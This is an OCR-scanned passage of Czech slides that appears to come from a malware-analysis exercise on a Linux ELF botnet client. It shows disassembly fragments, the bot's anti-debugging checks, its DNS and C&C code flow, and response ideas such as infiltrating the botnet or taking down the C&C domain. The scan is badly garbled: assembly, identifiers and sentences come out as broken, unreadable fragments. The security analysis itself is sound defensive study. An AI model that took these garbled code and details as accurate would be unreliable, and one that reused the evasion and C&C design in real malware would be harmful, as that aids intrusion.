JnE loc_BO48ZEE
¥
"""""""" - TTTTTEETTEmmEEEEmm - L E>
ngp loa_ 8048287
loc BO4EI0E: "
. mov dword ptr [(asp], offs
poollng call puats
=all event_basa_new
tant |aAX, SAE
mey de base, sax
iE leo_BO483E0
T I |
¥ ¥ ¥
I <
lec _BOdEZRT: mev [eap+d] , eds
WOk waAN, eax By [esp], sax
............... - A —— HOE wabn, ebx | status call avdns_base_Fr
ime AN test GAN, Sax
int BOh | LINUX - sys_sxit mov ds | basae_dns,
= short loc_8o)
i_l —_
- =

CIeanup LI [@ap], @ax

call SViANS_bads_00ant_nass
tast AN, S4N
| ] loo_8048%14

I'i'l—

56.74% (1F1,1460) (45, IBH) 00000200 OPO4E200: main [

Disk: 7GB




D k Certu ...

g prantf. ..

ma navic prikazy

al info d cron_at info,
vedou na blok
printf (,Not implemented...);

* Funkce payload test try cron a payload test try at vraci-1, ve
32b verzi jsou implementovany celé ...



bny dopad na infrastrukturu

itno prozkoumat process accounting
denych stroju, nebo infiltrovat botnet ...

* FExtra body

* Heslo pro Sifrovani komunikace

e Ziskat moznost infiltrace



kova hlava

1c hlavné na incident handling

ontrola napadenych uzli a jejich process

1 sledovat botnet faleSnym nebo sledovanym botem

» Zautocit na C&C nebo pouzit deadman switch ve spolupraci s registratorem
domeény .org

* Pokud by se nepodarilo zjistit kli¢, mohl by pripadnou v tvahu pokus o
bruteforce za pomoci vypocetnich prostredkii EGI (known-plaintext)




senostl ...

T bylo cvicCeni vyborné hratelné na
identifikoval ELF jako hrozbu a to i pres

dnejsi pro predavani strukturovanych dat nez

npliko AL. K ukladani JSONu se s vyhodou da pouzit NoSQL DB
(Redls rulez viz EO38). JSON je prirozenou reprezentaci asociativnich poli —
hashti (perl, python)

* Pri praci je velmi doporuceno pouzivat tahaky [32][33][34] a uziteCné nastroje

e OSS je super, ale bez IDA Pro (.com) by to neslo :|

* sner.py — distribuovany scanner, ale o tom az priste ... ;)))



RC s ochranou kanalu

zakladni antidebug prvky a deadman switch

Genericky execpad; vyroben v nékolika buildech s rozdilnou funkcionalitou

* V ramci vyuky je moZné analyzu zopakovat za dlouhych zimnich vecert

01-01 antiis_gdb _
F 01-02 anti_is_ptraced _
ML Zs 2 e 01 antidebuw 01-03 anti - test far ENW
* Mereni se nam libilo a o
01-04 bad boyitm) - pretiGET_DUMPABLE, @)
01-05 goot boyitm) - exit if running as root
02 puts - WE COME IN PEACE

! Debian32 binary

Codeflow |"r 03 look up resolv.conf and eventually add 1o libevent the public google resolvers
|,\_ 04 register expire_callback
0

05 register verification of DNS resolution against hard-coded response {of
'.,\ vexocide. org)

l\ 06 register pocling and its callback

'll\ 07 creates an cbject to announce information about the local system
ll\ 08 Enters the event loop and triggers the hell




W E L2 ULGE
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